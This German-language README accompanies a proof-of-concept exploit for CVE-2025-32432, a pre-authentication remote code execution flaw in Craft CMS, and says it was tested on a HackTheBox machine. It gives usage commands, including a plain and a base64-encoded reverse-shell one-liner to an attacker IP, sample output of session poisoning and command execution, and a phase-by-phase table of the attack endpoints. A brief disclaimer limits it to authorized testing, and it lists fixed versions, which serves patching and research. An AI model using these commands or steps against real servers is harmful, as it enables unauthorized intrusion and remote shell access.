
Exploit, POC für CVE-2025-32432, CraftCMS2Shell
Kritische vorauthentifizierte Remote Code Execution in Craft CMS
Betroffen: Craft CMS 3.x, 4.x und 5.x (bis 5.6.16)
Info: Dieser Exploit wurde gegen die HackTheBox-Maschine Orion getestet
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-32432, eine kritische vorauthentifizierte Remote Code Execution-Schwachstelle in Craft CMS. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebigen PHP-Code auf dem Server auszuführen, indem der Mechanismus zur Anbindung von Yii2-Verhalten und die PHP-Objektinstanziierung mittels der __class-Override-Technik ausgenutzt werden.
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# Start listener on your machine
penelope -p 4444
# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
Verwendung: exploit.py [-h] -u URL -c BEFEHL [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
Optionen:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
-u, --url URL Ziel-URL (z.B. http://target.com)
-c, --command BEFEHL Auszuführender Befehl
-a, --asset-id ASSET_ID
Bekannte gültige Asset-ID (überspringt Brute-Force)
-m, --max-asset MAX_ASSET
Maximale Asset-ID für Brute-Force (Standard: 300)
-s, --session-path SESSION_PATH
Vorlage für den Session-Dateipfad (Standard: /var/lib/php/sessions/sess_{})
-q, --quiet Unterdrückt ausführliche Ausgaben
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| Phase | Aktion | Endpunkt | Auth |
|---|---|---|---|
| 1 | Session-Cookie und CSRF-Token extrahieren | GET /admin/login | Nein |
| 2 | PHP-Payload in Session-Datei injizieren | GET /index.php?p=admin/dashboard&a=<PHP> | Nein |
| 3 | Gültige Asset-ID per Brute-Force ermitteln | POST /index.php?p=admin/actions/assets/generate-transform | Nein |
| 4 | RCE über PhpManager-Gadget auslösen | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | Nein |
| Zweig | Betroffen | Behoben |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
/admin/actions/assets/generate-transforma=-Parameter, der PHP-Code enthältas-Feldern in POST-Request-BodiesDieses Tool ist nur für autorisierte Sicherheitstests und Forschungszwecke bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets die entsprechende Genehmigung ein.
MIT-Lizenz – Siehe LICENSE-Datei für Details.